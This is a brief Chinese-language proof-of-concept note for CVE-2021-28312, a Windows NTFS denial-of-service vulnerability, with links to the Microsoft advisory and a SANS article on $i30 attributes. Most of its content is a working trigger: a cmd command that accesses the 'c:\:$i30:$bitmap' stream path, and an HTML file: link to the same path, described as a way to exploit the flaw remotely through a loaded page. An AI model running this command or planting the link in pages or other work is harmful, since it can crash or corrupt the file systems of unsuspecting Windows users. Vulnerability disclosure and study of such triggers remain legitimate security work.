CVE-2021-28312

CVE-2021-28312 的 POC 和描述

Windows NTFS 拒绝服务漏洞

链接：https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-28312

复现

在 cmd 中：输入以下命令 cd c:\:$i30:$bitmap
远程利用可能性：可以通过在本地加载的页面上添加以下链接来实现

<a href="file:\\c:\:$i30:$bitmap">Click here</a>

---

关于 $i30 属性的详细信息：https://www.sans.org/blog/ntfs-i30-index-attributes-evidence-of-deleted-and-overwritten-files/